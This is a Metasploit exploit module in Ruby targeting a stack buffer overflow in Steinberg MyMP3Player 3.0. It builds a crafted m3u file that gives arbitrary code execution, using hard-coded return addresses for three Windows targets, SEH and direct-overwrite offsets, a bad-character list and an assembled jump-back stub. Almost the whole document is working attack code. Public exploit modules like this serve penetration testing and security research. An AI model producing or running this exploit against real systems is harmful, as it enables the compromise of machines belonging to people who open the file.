## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Steinberg MyMP3Player 3.0 Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Steinberg MyMP3Player == 3.0. When the application is used to open a specially crafted m3u file, a buffer overflow occurs allowing arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'n3w7u', # original 'm_101' ], 'References' => [ [ 'OSVDB', '64580'], [ 'EDB', '11791' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 900, 'BadChars' => "\x00\x0a\x0d\x5c", 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff" }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Ret' => 0x0043bea3 } ], # call ecx in My MP3.exe v3.0.0.67 [ 'Windows Universal (SEH)', { 'Ret' => 0x00403e68 } ], # p/p/r in My MP3.exe v3.0.0.67 [ 'Windows XP SP3 French', { 'Ret' => 0x72c6170b } ], # seh return in msacm.drv ], 'Privileged' => false, 'DisclosureDate' => 'Mar 18 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']), ], self.class) end def exploit # direct ret overwrite at offset 1024 # nseh overwrite at offset 1040 ret_offset = 1024 seh_offset = 1040 # start with the payload m3u = payload.encoded if (target.name =~ /SEH/) m3u << rand_text_alphanumeric(seh_offset - m3u.length) # ensure bad,no-nul addr for ret (trigger SEH) m3u[ret_offset,4] = [0xc0010101 | rand(0xffffffff)].pack('V') # We utilize a small stub near the end of the buffer space to # continue to the real shellcode... # NOTE: the push is to avoid a badchar (0x5c) stub = <<-EOF push ecx sub esp,-0x1a8 ret EOF stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string m3u[seh_offset - stub.length, stub.length] = stub # Jump back to the stub jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + stub.length.to_s).encode_string seh = '' seh << jmp2 seh << rand_text(2) seh << [target.ret].pack('V') m3u << seh else m3u << rand_text_alphanumeric(1024 - m3u.length) m3u << [target.ret].pack('V') end print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(m3u) end end